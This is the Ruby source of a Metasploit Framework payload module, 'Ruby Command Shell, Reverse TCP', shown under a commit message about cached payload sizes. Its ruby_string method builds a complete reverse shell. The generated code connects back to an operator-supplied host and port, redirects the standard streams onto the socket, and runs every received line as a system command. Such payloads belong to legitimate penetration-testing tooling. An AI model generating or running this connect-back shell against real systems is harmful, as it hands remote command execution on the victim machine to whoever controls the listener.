Brent Cook
6b1e911041
Calling .new on payload modules does not perform parameter validation, leading to a number cached sizes based on invalid parameters. Most notably, normalization does not occur either, which makes all OptBool params default to true.
47 lines
1.4 KiB
Ruby
47 lines
1.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/payload/ruby'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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CachedSize = 516
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include Msf::Payload::Single
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include Msf::Payload::Ruby
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Ruby Command Shell, Reverse TCP',
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'Description' => 'Connect back and create a command shell via Ruby',
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'Author' => [ 'kris katterjohn', 'hdm' ],
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'License' => MSF_LICENSE,
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'ruby',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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end
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def generate
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return prepends(ruby_string)
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end
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def ruby_string
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lhost = datastore['LHOST']
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lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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"require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +
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"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
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"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
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end
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end
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